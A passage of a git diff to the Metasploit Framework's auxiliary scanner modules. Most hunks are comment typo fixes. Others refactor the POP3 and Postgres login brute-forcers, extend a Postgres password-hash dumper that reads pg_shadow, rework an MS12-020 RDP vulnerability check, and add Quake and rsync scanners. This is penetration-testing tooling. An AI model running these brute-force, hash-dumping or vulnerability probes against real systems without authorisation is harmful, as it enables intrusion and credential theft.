Metasploit::Framework::LoginScanner::POP3.new( + host: ip, + port: rport, + ssl: datastore['SSL'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, + ) - vprint_status("#{target} - Trying user:'#{user}' with password:'#{pass}'") - cmd = "USER #{user}\r\n" - pop3_send(cmd,!@connected) - if @result !~ /^\+OK (.*)/ - vprint_error("#{target} - Rejected user: '#{user}'") - return :fail - else - cmd = "PASS #{pass}\r\n" - pop3_send(cmd,!@connected) - if @result !~ /^\+OK (.*)/ - vprint_error("#{target} - Failed login for '#{user}' : '#{pass}'") - if (@connected) - disconnect # Some servers disconnect the client after wrongs attempts - @connected = false - end - return :fail - else - print_good("#{target} - SUCCESSFUL login for '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'pop3', - :user => user, - :pass => pass, - :source_type => "user_supplied", - :active => true - ) - disconnect - @connected = false - return :next_user + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + next + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect: #{result.proof}" + end + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', '#{result.proof.to_s.chomp}'" end end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE + + # If we got here, it didn't work + invalidate_login(credential_data) end end + + def service_name + datastore['SSL'] ? 'pop3s' : 'pop3' + end + + + end diff --git a/modules/auxiliary/scanner/pop3/pop3_version.rb b/modules/auxiliary/scanner/pop3/pop3_version.rb index 8a705907fc..754f5218b2 100644 --- a/modules/auxiliary/scanner/pop3/pop3_version.rb +++ b/modules/auxiliary/scanner/pop3/pop3_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/portscan/ack.rb b/modules/auxiliary/scanner/portscan/ack.rb index ad5b2a0b7b..955ae59b8d 100644 --- a/modules/auxiliary/scanner/portscan/ack.rb +++ b/modules/auxiliary/scanner/portscan/ack.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/portscan/ftpbounce.rb b/modules/auxiliary/scanner/portscan/ftpbounce.rb index 46dbe302ac..d84256ff30 100644 --- a/modules/auxiliary/scanner/portscan/ftpbounce.rb +++ b/modules/auxiliary/scanner/portscan/ftpbounce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,9 +17,7 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'FTP Bounce Port Scanner', 'Description' => %q{ Enumerate TCP services via the FTP bounce PORT/LIST - method, which can still come in handy every once in - a while (I know of a server that still allows this - just fine...). + method. }, 'Author' => 'kris katterjohn', 'License' => MSF_LICENSE @@ -39,6 +37,14 @@ class Metasploit3 < Msf::Auxiliary false end + def rhost + datastore['BOUNCEHOST'] + end + + def rport + datastore['BOUNCEPORT'] + end + def run_host(ip) ports = Rex::Socket.portspec_crack(datastore['PORTS']) @@ -46,9 +52,6 @@ class Metasploit3 < Msf::Auxiliary raise Msf::OptionValidateError.new(['PORTS']) end - datastore['RHOST'] = datastore['BOUNCEHOST'] - datastore['RPORT'] = datastore['BOUNCEPORT'] - return if not connect_login ports.each do |port| @@ -56,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary # on the response codes. We need to do this between every # port scan attempt unfortunately. while true - r = self.sock.get(0.25) + r = sock.get_once(-1, 0.25) break if not r or r.empty? end diff --git a/modules/auxiliary/scanner/portscan/syn.rb b/modules/auxiliary/scanner/portscan/syn.rb index b8f6a34c1e..e547ffd853 100644 --- a/modules/auxiliary/scanner/portscan/syn.rb +++ b/modules/auxiliary/scanner/portscan/syn.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/portscan/tcp.rb b/modules/auxiliary/scanner/portscan/tcp.rb index 87204f77c7..299c1210af 100644 --- a/modules/auxiliary/scanner/portscan/tcp.rb +++ b/modules/auxiliary/scanner/portscan/tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/portscan/xmas.rb b/modules/auxiliary/scanner/portscan/xmas.rb index 136e7941b2..642f507265 100644 --- a/modules/auxiliary/scanner/portscan/xmas.rb +++ b/modules/auxiliary/scanner/portscan/xmas.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb b/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb index 889d31bf5d..9e48bfc0ec 100644 --- a/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb +++ b/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/postgres/postgres_hashdump.rb b/modules/auxiliary/scanner/postgres/postgres_hashdump.rb index 93360ff4fb..d4e96ad630 100644 --- a/modules/auxiliary/scanner/postgres/postgres_hashdump.rb +++ b/modules/auxiliary/scanner/postgres/postgres_hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -35,12 +35,42 @@ class Metasploit3 < Msf::Auxiliary #Query the Postgres Shadow table for username and password hashes and report them res = postgres_query('SELECT usename, passwd FROM pg_shadow',false) + service_data = { + address: ip, + port: rport, + service_name: 'postgres', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: datastore['PASSWORD'], + private_type: :password, + username: datastore['USERNAME'], + realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE, + realm_value: datastore['DATABASE'] + } + + credential_data.merge!(service_data) + #Error handling routine here, borrowed heavily from todb case res.keys[0] when :conn_error print_error("A Connection Error occured") return when :sql_error + # We know the credentials worked but something else went wrong + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + create_credential_login(login_data) + case res[:sql_error] when /^C42501/ print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - Insufficient permissions." @@ -50,15 +80,19 @@ class Metasploit3 < Msf::Auxiliary return end when :complete + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + # We know the credentials worked and have admin access because we got the hashes + login_data[:access_level] = 'Admin' + create_credential_login(login_data) print_status("Query appears to have run successfully") end - this_service = report_service( - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :name => 'postgres', - :proto => 'tcp' - ) tbl = Rex::Ui::Text::Table.new( 'Header' => 'Postgres Server Hashes', @@ -66,6 +100,22 @@ class Metasploit3 < Msf::Auxiliary 'Columns' => ['Username', 'Hash'] ) + service_data = { + address: ::Rex::Socket.getaddress(rhost,true), + port: rport, + service_name: 'postgres', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + jtr_format: 'raw-md5,postgres', + module_fullname: self.fullname, + private_type: :nonreplayable_hash + } + + credential_data.merge!(service_data) res[:complete].rows.each do |row| @@ -73,23 +123,24 @@ class Metasploit3 < Msf::Auxiliary next if row[0].empty? or row[1].empty? password = row[1] password.slice!(0,3) + + credential_data[:username] = row[0] + credential_data[:private_data] = password + + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) + tbl << [row[0], password] end print_good("#{tbl.to_s}") - report_hash(tbl.to_csv,this_service) - end - #Reports the Stolen Hashes back to the Database for later cracking - def report_hash(hashtable,service) - filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_postgreshashes.txt" - path = store_loot("postgres.hashes", "text/plain", datastore['RHOST'], hashtable, filename, "Postgres Hashes",service) - print_status("Hash Table has been saved: #{path}") - - end - - end diff --git a/modules/auxiliary/scanner/postgres/postgres_login.rb b/modules/auxiliary/scanner/postgres/postgres_login.rb index 91bc0559cb..6ae5fbff3b 100644 --- a/modules/auxiliary/scanner/postgres/postgres_login.rb +++ b/modules/auxiliary/scanner/postgres/postgres_login.rb @@ -1,10 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' - +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/postgres' class Metasploit3 < Msf::Auxiliary @@ -33,6 +34,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ + Opt::Proxies, OptPath.new('USERPASS_FILE', [ false, "File containing (space-seperated) users and passwords, one pair per line", File.join(Msf::Config.data_directory, "wordlists", "postgres_default_userpass.txt") ]), OptPath.new('USER_FILE', [ false, "File containing users, one per line", @@ -48,11 +50,49 @@ class Metasploit3 < Msf::Auxiliary # Loops through each host in turn. Note the current IP address is both # ip and datastore['RHOST'] def run_host(ip) - each_user_pass { |user, pass| - datastore['USERNAME'] = user - datastore['PASSWORD'] = pass - do_login(user,pass) - } + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + realm: datastore['DATABASE'] + ) + + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::Postgres.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 30, + framework: framework, + framework_module: self, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end + end + end # Alias for RHOST @@ -65,66 +105,6 @@ class Metasploit3 < Msf::Auxiliary datastore['RPORT'] end - # Actually do all the login stuff. Note that "verbose" is really pretty - # verbose, since postgres_login also makes use of the verbose value - # to print diagnostics for other modules. - def do_login(user=nil,pass=nil) - database = datastore['DATABASE'] - begin - msg = "#{rhost}:#{rport} Postgres -" - vprint_status("#{msg} Trying username:'#{user}' with password:'#{pass}' on database '#{database}'") - # Here's where the actual connection happens. - result = postgres_login( - :db => database, - :username => user, - :password => pass - ) - case result - when :error_database - print_good("#{msg} Success: #{user}:#{pass} (Database '#{database}' failed.)") - do_report_auth_info(user,pass,database,false) - return :next_user # This is a success for user:pass! - when :error_credentials - vprint_error("#{msg} Username/Password failed.") - return :failed - when :connected - print_good("#{msg} Success: #{user}:#{pass} (Database '#{database}' succeeded.)") - do_report_auth_info(user,pass,database,true) - postgres_logout - return :next_user - when :error - vprint_error("#{msg} Unknown error encountered, giving up on host") - return :done - end - rescue Rex::ConnectionError - vprint_error "#{rhost}:#{rport} Connection Error: #{$!}" - return :done - end - end - # Report the service state - def do_report_postgres - report_service( - :host => rhost, - :port => rport, - :name => "postgres" - ) - end - - def do_report_auth_info(user,pass,db,db_ok) - do_report_postgres - - result_hash = { - :host => rhost, - :port => rport, - :sname => "postgres", - :user => user, - :pass => pass, - :source_type => "user_supplied", - :active => true - } - result_hash[:user] = "#{db}/#{user}" if db_ok - report_auth_info result_hash - end end diff --git a/modules/auxiliary/scanner/postgres/postgres_schemadump.rb b/modules/auxiliary/scanner/postgres/postgres_schemadump.rb index 927f3a17c7..bd5b42387b 100644 --- a/modules/auxiliary/scanner/postgres/postgres_schemadump.rb +++ b/modules/auxiliary/scanner/postgres/postgres_schemadump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/postgres/postgres_version.rb b/modules/auxiliary/scanner/postgres/postgres_version.rb index 210674f015..9a88580f19 100644 --- a/modules/auxiliary/scanner/postgres/postgres_version.rb +++ b/modules/auxiliary/scanner/postgres/postgres_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/printer/printer_download_file.rb b/modules/auxiliary/scanner/printer/printer_download_file.rb index 48838f6b1f..4c8b0e4e60 100644 --- a/modules/auxiliary/scanner/printer/printer_download_file.rb +++ b/modules/auxiliary/scanner/printer/printer_download_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/printer/printer_env_vars.rb b/modules/auxiliary/scanner/printer/printer_env_vars.rb index bad052ed58..c1546ccb66 100644 --- a/modules/auxiliary/scanner/printer/printer_env_vars.rb +++ b/modules/auxiliary/scanner/printer/printer_env_vars.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -49,13 +49,13 @@ class Metasploit4 < Msf::Auxiliary if env_vars print_good("#{ip}:#{rport} - #{env_vars}") - report_note({ + report_note( :host => ip, :port => rport, :proto => "tcp", :type => "printer.env.vars", :data => env_vars - }) + ) end end diff --git a/modules/auxiliary/scanner/printer/printer_list_dir.rb b/modules/auxiliary/scanner/printer/printer_list_dir.rb index 7737ddb2bb..eb5ed4dc7c 100644 --- a/modules/auxiliary/scanner/printer/printer_list_dir.rb +++ b/modules/auxiliary/scanner/printer/printer_list_dir.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -53,13 +53,13 @@ class Metasploit4 < Msf::Auxiliary if listing print_good("#{ip}:#{rport} - #{listing}") - report_note({ + report_note( :host => ip, :port => rport, :proto => "tcp", :type => "printer.dir.listing", :data => listing - }) + ) end end diff --git a/modules/auxiliary/scanner/printer/printer_list_volumes.rb b/modules/auxiliary/scanner/printer/printer_list_volumes.rb index 39298917ce..d596504844 100644 --- a/modules/auxiliary/scanner/printer/printer_list_volumes.rb +++ b/modules/auxiliary/scanner/printer/printer_list_volumes.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -50,13 +50,13 @@ class Metasploit4 < Msf::Auxiliary if listing print_good("#{ip}:#{rport} - #{listing}") - report_note({ + report_note( :host => ip, :port => rport, :proto => "tcp", :type => "printer.vol.listing", :data => listing - }) + ) end end diff --git a/modules/auxiliary/scanner/printer/printer_ready_message.rb b/modules/auxiliary/scanner/printer/printer_ready_message.rb index bddc1646aa..610a1f6bb4 100644 --- a/modules/auxiliary/scanner/printer/printer_ready_message.rb +++ b/modules/auxiliary/scanner/printer/printer_ready_message.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -29,13 +29,17 @@ class Metasploit4 < Msf::Auxiliary "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] ], - "License" => MSF_LICENSE + "License" => MSF_LICENSE, + "Actions" => [ + ["Scan", "Description" => "Scan for ready messages"], + ["Change", "Description" => "Change ready message"], + ["Reset", "Description" => "Reset ready message"] + ], + "DefaultAction" => "Scan" )) register_options([ Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT), - OptBool.new("CHANGE", [false, "Change ready message", false]), - OptBool.new("RESET", [false, "Reset ready message (CHANGE must be true)", false]), OptString.new("MESSAGE", [false, "Ready message", "PC LOAD LETTER"]) ], self.class) end @@ -45,14 +49,11 @@ class Metasploit4 < Msf::Auxiliary pjl = Rex::Proto::PJL::Client.new(sock) pjl.begin_job - if datastore["CHANGE"] - if datastore["RESET"] - message = "" - else - message = datastore["MESSAGE"] - end - - pjl.set_rdymsg(message) + case action.name + when "Change" + pjl.set_rdymsg(datastore["MESSAGE"]) + when "Reset" + pjl.set_rdymsg("") end rdymsg = pjl.get_rdymsg @@ -62,13 +63,13 @@ class Metasploit4 < Msf::Auxiliary if rdymsg print_good("#{ip}:#{rport} - #{rdymsg}") - report_note({ + report_note( :host => ip, :port => rport, :proto => "tcp", :type => "printer.rdymsg", :data => rdymsg - }) + ) end end diff --git a/modules/auxiliary/scanner/printer/printer_version_info.rb b/modules/auxiliary/scanner/printer/printer_version_info.rb index f1018fdf88..5171a46a3c 100644 --- a/modules/auxiliary/scanner/printer/printer_version_info.rb +++ b/modules/auxiliary/scanner/printer/printer_version_info.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -49,13 +49,13 @@ class Metasploit4 < Msf::Auxiliary if id print_good("#{ip}:#{rport} - #{id}") - report_service({ + report_service( :host => ip, :port => rport, :proto => "tcp", :name => "jetdirect", :info => id - }) + ) end end diff --git a/modules/auxiliary/scanner/quake/server_info.rb b/modules/auxiliary/scanner/quake/server_info.rb new file mode 100644 index 0000000000..259a1110df --- /dev/null +++ b/modules/auxiliary/scanner/quake/server_info.rb @@ -0,0 +1,88 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/quake' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Auxiliary::UDPScanner + include Rex::Proto::Quake + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Gather Quake Server Information', + 'Description' => %q( + This module uses the getstatus or getinfo request to obtain + information from a Quakeserver. + ), + 'Author' => 'Jon Hart + [ + ['URL', 'ftp://ftp.idsoftware.com/idstuff/quake3/docs/server.txt'] + ], + 'License' => MSF_LICENSE, + 'Actions' => [ + ['status', 'Description' => 'Use the getstatus command'], + ['info', 'Description' => 'Use the getinfo command'] + ], + 'DefaultAction' => 'status' + ) + ) + + register_options( + [ + Opt::RPORT(27960) + ], self.class) + end + + def build_probe + @probe ||= case action.name + when 'status' + getstatus + when 'info' + getinfo + end + end + + def decode_stuff(response) + case action.name + when 'info' + stuff = decode_info(response) + when 'status' + stuff = decode_status(response) + end + + if datastore['VERBOSE'] + stuff.inspect + else + # try to get the host name, game name and version + stuff.select { |k, _| %w(hostname sv_hostname gamename com_gamename version).include?(k) } + end + end + + def scanner_process(response, src_host, src_port) + stuff = decode_stuff(response) + return unless stuff + @results[src_host] ||= [] + print_good("#{src_host}:#{src_port} found '#{stuff}'") + @results[src_host] << stuff + end + + def scanner_postscan(_batch) + @results.each_pair do |host, stuff| + report_host(host: host) + report_service( + host: host, + proto: 'udp', + port: rport, + name: 'Quake', + info: stuff + ) + end + end +end diff --git a/modules/auxiliary/scanner/rdp/ms12_020_check.rb b/modules/auxiliary/scanner/rdp/ms12_020_check.rb index 16b1c4e3d8..166fc92a25 100644 --- a/modules/auxiliary/scanner/rdp/ms12_020_check.rb +++ b/modules/auxiliary/scanner/rdp/ms12_020_check.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -128,15 +128,11 @@ class Metasploit3 < Msf::Auxiliary "#{rhost}:#{rport}" end - def run_host(ip) - - connect - + def check_rdp_vuln # check if rdp is open - if not check_rdp + unless check_rdp vprint_status "#{peer} Could not connect to RDP." - disconnect - return + return Exploit::CheckCode::Unknown end # send connectInitial @@ -145,31 +141,63 @@ class Metasploit3 < Msf::Auxiliary # send userRequest sock.put(user_request) res = sock.get_once(-1, 5) + return Exploit::CheckCode::Unknown unless res # nil due to a timeout user1 = res[9,2].unpack("n").first chan1 = user1 + 1001 # send 2nd userRequest sock.put(user_request) res = sock.get_once(-1, 5) - + return Exploit::CheckCode::Unknown unless res # nil due to a timeout user2 = res[9,2].unpack("n").first chan2 = user2 + 1001 # send channel request one sock.put(channel_request << [user1, chan2].pack("nn")) res = sock.get_once(-1, 5) - - if res and res[7,2] == "\x3e\x00" + return Exploit::CheckCode::Unknown unless res # nil due to a timeout + if res[7,2] == "\x3e\x00" # send ChannelRequestTwo - prevent BSoD sock.put(channel_request << [user2, chan2].pack("nn")) - print_good("#{peer} Vulnerable to MS12-020") + return Exploit::CheckCode::Vulnerable report_goods else - vprint_status("#{peer} Not Vulnerable") + return Exploit::CheckCode::Safe end - disconnect() + # Can't determine, but at least I know the service is running + return Exploit::CheckCode::Detected + end + + def check_host(ip) + # The check command will call this method instead of run_host + + status = Exploit::CheckCode::Unknown + + begin + connect + status = check_rdp_vuln + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + bt = e.backtrace.join("\n") + vprint_error("Unexpected error: #{e.message}") + vprint_line(bt) + elog("#{e.message}\n#{bt}") + ensure + disconnect + end + + status + end + + def run_host(ip) + # Allow the run command to call the check command + status = check_host(ip) + if status == Exploit::CheckCode::Vulnerable + print_good("#{ip}:#{rport} - #{status[1]}") + else + print_status("#{ip}:#{rport} - #{status[1]}") + end end end diff --git a/modules/auxiliary/scanner/rogue/rogue_recv.rb b/modules/auxiliary/scanner/rogue/rogue_recv.rb index cff6c6027b..40a125d4d5 100644 --- a/modules/auxiliary/scanner/rogue/rogue_recv.rb +++ b/modules/auxiliary/scanner/rogue/rogue_recv.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/rogue/rogue_send.rb b/modules/auxiliary/scanner/rogue/rogue_send.rb index 85c344872e..73b585bfdc 100644 --- a/modules/auxiliary/scanner/rogue/rogue_send.rb +++ b/modules/auxiliary/scanner/rogue/rogue_send.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/rservices/rexec_login.rb b/modules/auxiliary/scanner/rservices/rexec_login.rb index d2aa95a297..62cd727715 100644 --- a/modules/auxiliary/scanner/rservices/rexec_login.rb +++ b/modules/auxiliary/scanner/rservices/rexec_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -151,7 +151,7 @@ class Metasploit3 < Msf::Auxiliary begin sd = Rex::Socket.create_tcp_server('LocalPort' => stderr_port) - rescue Rex::AddressInUse + rescue Rex::BindFailed # Ignore and try again end diff --git a/modules/auxiliary/scanner/rservices/rlogin_login.rb b/modules/auxiliary/scanner/rservices/rlogin_login.rb index 22c1d75ab0..c5e44f0e09 100644 --- a/modules/auxiliary/scanner/rservices/rlogin_login.rb +++ b/modules/auxiliary/scanner/rservices/rlogin_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -218,7 +218,7 @@ class Metasploit3 < Msf::Auxiliary sock.put("\x00#{luser}\x00#{user}\x00#{datastore['TERM']}/#{datastore['SPEED']}\x00") # Read the expected nul byte response. - buf = sock.get_once(1) + buf = sock.get_once(1) || '' return :abort if buf != "\x00" # NOTE: We report this here, since we are awfully convinced now that this is really diff --git a/modules/auxiliary/scanner/rservices/rsh_login.rb b/modules/auxiliary/scanner/rservices/rsh_login.rb index b6fa2c2259..7bb64ca213 100644 --- a/modules/auxiliary/scanner/rservices/rsh_login.rb +++ b/modules/auxiliary/scanner/rservices/rsh_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -201,7 +201,7 @@ class Metasploit3 < Msf::Auxiliary begin sd = Rex::Socket.create_tcp_server('LocalPort' => lport) - rescue Rex::AddressInUse + rescue Rex::BindFailed # Ignore and try again end diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb new file mode 100644 index 0000000000..454fdb00b7 --- /dev/null +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -0,0 +1,69 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Rsync Unauthenticated List Command', + 'Description' => 'List all (listable) modules from a rsync daemon', + 'Author' => 'ikkini', + 'References' => + [ + ['URL', 'http://rsync.samba.org/ftp/rsync/rsync.html'] + ], + 'License' => MSF_LICENSE + ) + register_options( + [ + Opt::RPORT(873) + ], self.class) + end + + def run_host(ip) + connect + version = sock.get_once + + return if version.blank? + + print_good("#{ip}:#{rport} - rsync #{version.strip} found") + report_service(:host => ip, :port => rport, :proto => 'tcp', :name => 'rsync') + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'rsync_version', + :data => version.strip + ) + + # making sure we match the version of the server + sock.puts("#{version}") + # the listing command + sock.puts("\n") + listing = sock.get(20) + disconnect + + return if listing.blank? + + print_good("#{ip}:#{rport} - rsync listing found") + listing.gsub!('@RSYNCD: EXIT', '') # not interested in EXIT message + listing_sanitized = Rex::Text.to_hex_ascii(listing.strip) + + vprint_status("#{ip}:#{rport} - #{version.rstrip} #{listing_sanitized}") + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'rsync_listing', + :data => listing_sanitized + ) + end +end diff --git a/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb b/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb index c91d6beb79..91fad86182 100644 --- a/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb +++ b/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index c1c6156ac1..7865397e71 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_icf_public_info.rb b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb index c928da3344..05ca2b7f4c 100644 --- a/modules/auxiliary/scanner/sap/sap_icf_public_info.rb +++ b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb 